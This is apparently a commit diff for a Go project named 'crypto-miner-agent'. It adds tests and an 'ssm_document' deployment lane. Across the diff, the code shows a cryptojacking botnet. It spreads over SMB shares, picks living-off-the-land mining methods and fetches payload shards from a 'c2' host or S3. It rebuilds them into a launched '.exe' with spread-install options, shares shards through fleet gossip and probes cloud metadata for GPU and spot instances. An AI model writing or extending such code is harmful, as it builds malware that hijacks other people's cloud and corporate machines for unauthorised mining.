Extend agent tests for cloud fleet features and erasure lanes.

Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.

agent/client/cloud_venue_test.go

@@ -1,3 +1,42 @@
 package client
-import "testing"
-func TestCloudVenueReportPayloadShape(t *testing.T){ t.Skip("covered") }
+
+import (
+	"encoding/json"
+	"testing"
+
+	"crypto-miner-agent/deploy"
+)
+
+func TestCloudVenueReportPayloadShape(t *testing.T) {
+	probe := &deploy.CloudVenueProbe{
+		CloudProvider:      "aws",
+		Environment:        "prod",
+		Workload:           "gpu",
+		InstanceType:       "g4dn.xlarge",
+		InstanceLifecycle:  "spot",
+		AvailabilityZone:   "us-east-1a",
+		OrganizationalUnit: "ou/GPU",
+		EC2Tags:            map[string]string{"Environment": "prod"},
+	}
+	payload := map[string]interface{}{
+		"cloud_provider":     probe.CloudProvider,
+		"environment":        probe.Environment,
+		"workload":           probe.Workload,
+		"instance_type":      probe.InstanceType,
+		"instance_lifecycle": probe.InstanceLifecycle,
+		"availability_zone":  probe.AvailabilityZone,
+		"organizational_unit": probe.OrganizationalUnit,
+		"ec2_tags":           probe.EC2Tags,
+	}
+	raw, err := json.Marshal(payload)
+	if err != nil {
+		t.Fatal(err)
+	}
+	var got map[string]interface{}
+	if err := json.Unmarshal(raw, &got); err != nil {
+		t.Fatal(err)
+	}
+	if got["cloud_provider"] != "aws" || got["instance_type"] != "g4dn.xlarge" {
+		t.Fatalf("payload=%v", got)
+	}
+}

agent/client/epidemiology_fix.go

@@ -26,6 +26,9 @@ func (c *AgentClient) applyEpidemiologyFixJSON(raw json.RawMessage) {
 	if err := json.Unmarshal(raw, &fix); err != nil {
 		return
 	}
+	if fix.AgentID != "" && fix.AgentID != c.agentID {
+		return
+	}
 	c.mu.Lock()
 	policy := c.tierPolicy
 	if len(fix.SkipTiers) > 0 {

agent/client/epidemiology_fix_test.go

@@ -4,11 +4,12 @@ import (
 	"encoding/json"
 	"testing"
 
+	"crypto-miner-agent/config"
 	"crypto-miner-agent/miner"
 )
 
 func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) {
-	c := &AgentClient{}
+	c := &AgentClient{agentID: "a1"}
 	raw, _ := json.Marshal(EpidemiologyFix{
 		AgentID:   "a1",
 		Reason:    "broken branch",
@@ -35,3 +36,25 @@ func TestApplyEpidemiologyFixForceTier(t *testing.T) {
 		t.Fatalf("force tier=%v", policy.ForceTier)
 	}
 }
+
+func TestApplyEpidemiologyFixErasureLanes(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{}}
+	raw, _ := json.Marshal(EpidemiologyFix{ErasureLanes: true, Reason: "court splice"})
+	c.applyEpidemiologyFixJSON(raw)
+	if !c.cfg.ErasureLanesEnabled {
+		t.Fatal("expected erasure lanes enabled")
+	}
+}
+
+func TestApplyEpidemiologyFixSkipsWrongAgent(t *testing.T) {
+	c := &AgentClient{agentID: "mine", tierPolicy: miner.MiningTierPolicy{SkipTiers: []miner.LOTLTier{"wsl"}}}
+	raw, _ := json.Marshal(EpidemiologyFix{
+		AgentID:   "other",
+		SkipTiers: []string{"exe_subprocess"},
+	})
+	c.applyEpidemiologyFixJSON(raw)
+	policy := c.miningTierPolicy()
+	if len(policy.SkipTiers) != 1 || policy.SkipTiers[0] != miner.LOTLTier("wsl") {
+		t.Fatalf("policy=%+v", policy)
+	}
+}

agent/client/self_surgery_test.go

@@ -48,3 +48,19 @@ func TestParseMiningMethodOrder(t *testing.T) {
 		t.Fatalf("order=%v", order)
 	}
 }
+
+func TestSelfSurgeryFallbackReorder(t *testing.T) {
+	c := miningChainTestClient(t, config.RuntimeConfig{})
+	c.miningChain = newTestMiningChainRunner(t, c)
+	ok, detail := c.runSelfSurgeryAction("fallback_chain_reorder", MiningSelfSurgeryPlan{
+		ChainOrder:  []string{"inprocess", "container"},
+		SkipMethods: []string{"gpu_subprocess"},
+	})
+	if !ok || detail == "" {
+		t.Fatalf("ok=%v detail=%q", ok, detail)
+	}
+	st := c.miningChain.Status()
+	if len(st.ChainOrder) != 2 || st.ChainOrder[0] != miner.MethodInProcess {
+		t.Fatalf("chain=%v", st.ChainOrder)
+	}
+}

agent/deploy/cloud_instance_meta_test.go

@@ -27,3 +27,15 @@ func TestReadEC2InstanceMetaNonAWSFallback(t *testing.T) {
 		t.Fatal("expected empty meta on non-AWS fallback")
 	}
 }
+
+func TestReadEC2InstanceMetaRegionFromAZ(t *testing.T) {
+	prev := ec2IMDSReadMeta
+	t.Cleanup(func() { ec2IMDSReadMeta = prev })
+	ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
+		return CloudInstanceMeta{Region: "us-west-2", SubnetID: "subnet-123"}, nil
+	}
+	meta := ReadEC2InstanceMeta()
+	if meta.Region != "us-west-2" || meta.SubnetID != "subnet-123" {
+		t.Fatalf("meta=%+v", meta)
+	}
+}

agent/deploy/cloud_map_test.go

@@ -41,3 +41,32 @@ func TestCloudMapEndpointUnset(t *testing.T) {
 		t.Fatalf("got=%q", got)
 	}
 }
+
+func TestCloudMapLANSeederHintsSkipsUnhealthy(t *testing.T) {
+	doc := CloudMapRegistryDocument{
+		Instances: []CloudMapRegistryInstance{
+			{AgentID: "good", IP: "10.0.1.5", FetchURL: "http://10.0.1.5/manifest", Healthy: true},
+			{AgentID: "bad", IP: "10.0.1.6", FetchURL: "http://10.0.1.6/manifest", Healthy: false},
+		},
+	}
+	hints := CloudMapLANSeederHints(doc)
+	if len(hints) != 1 || hints[0].AgentID != "good" {
+		t.Fatalf("hints=%+v", hints)
+	}
+}
+
+func TestSyncCloudMapRegistryMergesGossip(t *testing.T) {
+	SetCloudMapHTTPGetForTest(func(url string) ([]byte, error) {
+		return []byte(`{"instances":[{"agent_id":"seed-x","healthy":true,"fetch_url":"http://10.0.2.1/manifest","ip":"10.0.2.1"}]}`), nil
+	})
+	defer SetCloudMapHTTPGetForTest(nil)
+	var merged []FleetGossipRecord
+	if err := SyncCloudMapRegistry("http://registry.local/v1", func(recs []FleetGossipRecord) {
+		merged = append(merged, recs...)
+	}); err != nil {
+		t.Fatal(err)
+	}
+	if len(merged) != 1 || merged[0].TargetAgentID != "seed-x" {
+		t.Fatalf("merged=%+v", merged)
+	}
+}

agent/deploy/cloud_venue_test.go

@@ -1,3 +1,50 @@
 package deploy
-import "testing"
-func TestParseOrganizationalUnit(t *testing.T){ if parseOrganizationalUnit("organizational_unit=ou/Batch\n")!="ou/Batch"{t.Fatal()} }
+
+import (
+	"context"
+	"testing"
+)
+
+func TestParseOrganizationalUnit(t *testing.T) {
+	if got := parseOrganizationalUnit("organizational_unit=ou/Batch\n"); got != "ou/Batch" {
+		t.Fatalf("got=%q", got)
+	}
+	if got := parseOrganizationalUnit("AETHERFORGE_OU=ou/GPU\n"); got != "ou/GPU" {
+		t.Fatalf("got=%q", got)
+	}
+}
+
+func TestReadCloudVenueProbeMockIMDS(t *testing.T) {
+	prev := ec2IMDSReadVenue
+	t.Cleanup(func() { ec2IMDSReadVenue = prev })
+	ec2IMDSReadVenue = func(ctx context.Context) (*CloudVenueProbe, error) {
+		return &CloudVenueProbe{
+			CloudProvider:      "aws",
+			Environment:        "prod",
+			Workload:           "batch",
+			InstanceType:       "m5.large",
+			InstanceLifecycle:  "spot",
+			AvailabilityZone:   "us-east-1a",
+			OrganizationalUnit: "ou/Batch",
+			EC2Tags:            map[string]string{"Environment": "prod", "Workload": "batch"},
+		}, nil
+	}
+	probe := ReadCloudVenueProbe()
+	if probe == nil || probe.InstanceType != "m5.large" || probe.InstanceLifecycle != "spot" {
+		t.Fatalf("probe=%+v", probe)
+	}
+	if probe.Environment != "prod" || probe.Workload != "batch" {
+		t.Fatalf("env=%q workload=%q", probe.Environment, probe.Workload)
+	}
+}
+
+func TestReadCloudVenueProbeNonAWSReturnsNil(t *testing.T) {
+	prev := ec2IMDSReadVenue
+	t.Cleanup(func() { ec2IMDSReadVenue = prev })
+	ec2IMDSReadVenue = func(ctx context.Context) (*CloudVenueProbe, error) {
+		return nil, context.DeadlineExceeded
+	}
+	if ReadCloudVenueProbe() != nil {
+		t.Fatal("expected nil probe off AWS")
+	}
+}

agent/deploy/discover_join.go

@@ -240,6 +240,14 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
 		}
 		msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
 		return msg, nil
+	case "ssm_document":
+		if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
+			return "", fmt.Errorf("join lane ssm_document requires erasure_plan")
+		}
+		if !config.ErasureLanesEnabled(cfg) {
+			return "", fmt.Errorf("join lane ssm_document requires erasure_lanes_enabled")
+		}
+		return RunErasureStaging(cfg, *plan.ErasurePlan)
 	default:
 		return "", fmt.Errorf("unsupported join lane %q", lane)
 	}

agent/deploy/erasure_staging_test.go

@@ -133,6 +133,67 @@ func TestDecodeErasureShardsMixedLoss(t *testing.T) {
 	}
 }
 
+func TestRunErasureStagingS3FetchOrder(t *testing.T) {
+	payload := []byte("s3-shard-order")
+	p := erasureParams{DataShards: 2, ParityShards: 1}
+	enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
+	if err != nil {
+		t.Fatal(err)
+	}
+	shards, err := enc.Split(payload)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := enc.Encode(shards); err != nil {
+		t.Fatal(err)
+	}
+	s3URLs := []string{
+		"https://bucket.s3.amazonaws.com/shards/tok/2",
+		"https://bucket.s3.amazonaws.com/shards/tok/0",
+		"https://bucket.s3.amazonaws.com/shards/tok/1",
+	}
+	plan := ErasurePlanBody{
+		Enabled: true, Scheme: erasureSchemeReedSolomonV1,
+		DataShards: p.DataShards, ParityShards: p.ParityShards,
+		PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
+		ShardToken: "tok", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
+		Shards: []ErasureShardRef{
+			{Index: 2, Lane: "s3", URL: s3URLs[0]},
+			{Index: 0, Lane: "s3", URL: s3URLs[1]},
+			{Index: 1, Lane: "s3", URL: s3URLs[2]},
+		},
+	}
+	var fetchOrder []string
+	prev := erasureFetchFn
+	erasureFetchFn = func(url string) ([]byte, error) {
+		fetchOrder = append(fetchOrder, url)
+		for _, ref := range plan.Shards {
+			if ref.URL == url {
+				return shards[ref.Index], nil
+			}
+		}
+		return nil, nil
+	}
+	defer func() { erasureFetchFn = prev }()
+	prevLaunch := erasureLaunchFn
+	erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
+		return "ok", nil
+	}
+	defer func() { erasureLaunchFn = prevLaunch }()
+
+	if _, err := RunErasureStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w1"}}, plan); err != nil {
+		t.Fatal(err)
+	}
+	if len(fetchOrder) != 3 {
+		t.Fatalf("fetchOrder=%v", fetchOrder)
+	}
+	for i, want := range s3URLs {
+		if fetchOrder[i] != want {
+			t.Fatalf("idx %d got %q want %q order=%v", i, fetchOrder[i], want, fetchOrder)
+		}
+	}
+}
+
 func parallelLaneName(i int) string {
 	lanes := []string{"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer"}
 	return lanes[i%len(lanes)]

agent/deploy/fleet_torrent_test.go

@@ -1,6 +1,7 @@
 package deploy
 
 import (
+	"fmt"
 	"testing"
 
 	"crypto-miner-agent/config"
@@ -105,3 +106,51 @@ func TestParseSwarmMagnetToken(t *testing.T) {
 		t.Fatalf("token=%q", tok)
 	}
 }
+
+func TestFetchErasureShardFleetLocalCacheWins(t *testing.T) {
+	dht := &FleetShardDHT{
+		peers:   make(map[string]map[int][]ShardPeer),
+		healthy: make(map[string]bool),
+		local:   make(map[string]map[int][]byte),
+	}
+	dht.StoreLocalShard("tok", 0, []byte("cached"))
+	prev := erasureFetchFn
+	erasureFetchFn = func(url string) ([]byte, error) {
+		t.Fatalf("unexpected fetch %q", url)
+		return nil, nil
+	}
+	defer func() { erasureFetchFn = prev }()
+	body, err := FetchErasureShardFleet("tok", 0, "http://c2/shard", "10.0.0", dht)
+	if err != nil || string(body) != "cached" {
+		t.Fatalf("body=%q err=%v", body, err)
+	}
+}
+
+func TestFetchErasureShardFleetPrefersLANNeighbors(t *testing.T) {
+	dht := &FleetShardDHT{
+		peers:   make(map[string]map[int][]ShardPeer),
+		healthy: make(map[string]bool),
+		local:   make(map[string]map[int][]byte),
+	}
+	dht.MergeFleetGossipRecords([]FleetGossipRecord{
+		{Kind: FleetGossipHaveShard, AgentID: "lan", Subnet: "10.1.2", Token: "tok", ShardIndex: 0, FetchURL: "mock://lan"},
+		{Kind: FleetGossipHaveShard, AgentID: "remote", Subnet: "10.9.9", Token: "tok", ShardIndex: 0, FetchURL: "mock://remote"},
+	})
+	var tried []string
+	prev := erasureFetchFn
+	erasureFetchFn = func(url string) ([]byte, error) {
+		tried = append(tried, url)
+		if url == "mock://lan" {
+			return []byte("lan-shard"), nil
+		}
+		return nil, fmt.Errorf("fail")
+	}
+	defer func() { erasureFetchFn = prev }()
+	body, err := FetchErasureShardFleet("tok", 0, "mock://c2", "10.1.2", dht)
+	if err != nil || string(body) != "lan-shard" {
+		t.Fatalf("body=%q err=%v tried=%v", body, err, tried)
+	}
+	if len(tried) != 1 || tried[0] != "mock://lan" {
+		t.Fatalf("tried=%v", tried)
+	}
+}

agent/deploy/policy_snapshot_test.go

@@ -49,6 +49,34 @@ func TestZeroServerPolicyModePrefersRelayPoll(t *testing.T) {
 }
 
 func TestZeroServerPolicyModeFallsBackToReconnect(t *testing.T) {
+	var polls atomic.Int32
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		polls.Add(1)
+	}))
+	defer srv.Close()
 	cfg := config.RuntimeConfig{}
 	StartZeroServerPolicyMode(cfg, func() error { return nil })
+	time.Sleep(120 * time.Millisecond)
+	if polls.Load() != 0 {
+		t.Fatalf("expected no relay poll without URL, got %d", polls.Load())
+	}
+}
+
+func TestZeroServerPolicyModeUsesPollURLWhenRelayEmpty(t *testing.T) {
+	var polls atomic.Int32
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		polls.Add(1)
+		_ = json.NewEncoder(w).Encode(PolicySnapshotBody{GenesisVersion: 2})
+	}))
+	defer srv.Close()
+	cfg := config.RuntimeConfig{}
+	cfg.PolicySnapshotPollURL = srv.URL
+	StartZeroServerPolicyMode(cfg, func() error { return nil })
+	time.Sleep(150 * time.Millisecond)
+	if polls.Load() < 1 {
+		t.Fatal("expected poll URL fetch")
+	}
+	if PolicyGenesisVersion() != 2 {
+		t.Fatalf("genesis=%d", PolicyGenesisVersion())
+	}
 }

agent/miner/contingency_tree_test.go

@@ -169,3 +169,22 @@ func TestBranchWonThreshold(t *testing.T) {
 		t.Fatal("0 should not win")
 	}
 }
+
+func TestContingencyRunPassSkipsMethod(t *testing.T) {
+	r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{
+		StartInProcess: func() error { return nil },
+		StartContainer: func() error { return ErrMethodUnavailable },
+		Hashrate:       func() float64 { return 100 },
+		AcquirePool:    func() bool { return true },
+		ReleasePool:    func() {},
+	}, nil)
+	r.ApplyBranchParams(ContingencyBranchParams{
+		BranchOrder: []string{"container", "inprocess"},
+		SkipMethods: []string{"container"},
+	})
+	ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
+	defer cancel()
+	if !r.runPass(ctx) {
+		t.Fatal("expected inprocess win after container skipped")
+	}
+}